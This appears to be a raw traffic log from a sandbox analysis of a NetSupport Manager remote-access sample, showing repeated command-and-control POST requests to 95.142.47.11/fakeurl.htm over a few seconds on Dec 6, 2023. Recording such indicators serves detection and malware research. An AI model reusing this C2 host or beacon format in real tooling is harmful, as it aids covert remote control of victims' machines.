Dec 6, 2023 14:35:51.113138914 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.213753939 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.314709902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.414701939 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.514924049 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.614953995 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.714931011 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.816067934 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:51.916676044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.016700029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.116760969 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.216727018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.317847967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.417879105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.518785000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.620742083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.720968962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.822746038 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:52.923707008 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.024703979 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.125720978 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.225725889 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.326128006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.426719904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.527704000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.628902912 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.728760958 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.829761982 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:53.930717945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.030848026 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.136715889 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.238419056 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.337743998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.437772036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.538789034 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.638928890 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.741472960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.842886925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:54.942912102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.043812990 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.160759926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.260941029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.360769033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.461869955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.562009096 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.663049936 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.763072968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.862938881 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:55.963927031 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:56.064851999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:56.164697886 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:56.265942097 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:56.365721941 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:56.506597042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:56.607753992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:56.707700014 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.084851027 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.286703110 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.386696100 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.489109993 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.588999033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.689857006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.789783001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.890741110 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:57.990806103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.091044903 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.196222067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.295907974 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.395716906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.497028112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.596849918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.696944952 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.797024965 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.897896051 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:58.998969078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.098918915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.199868917 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.302565098 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.402739048 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.502811909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.603734970 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.704004049 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.804160118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:59.904778957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.005847931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.106790066 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.212033033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.312762976 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.413752079 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.513847113 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.614734888 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.714734077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:00.815900087 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
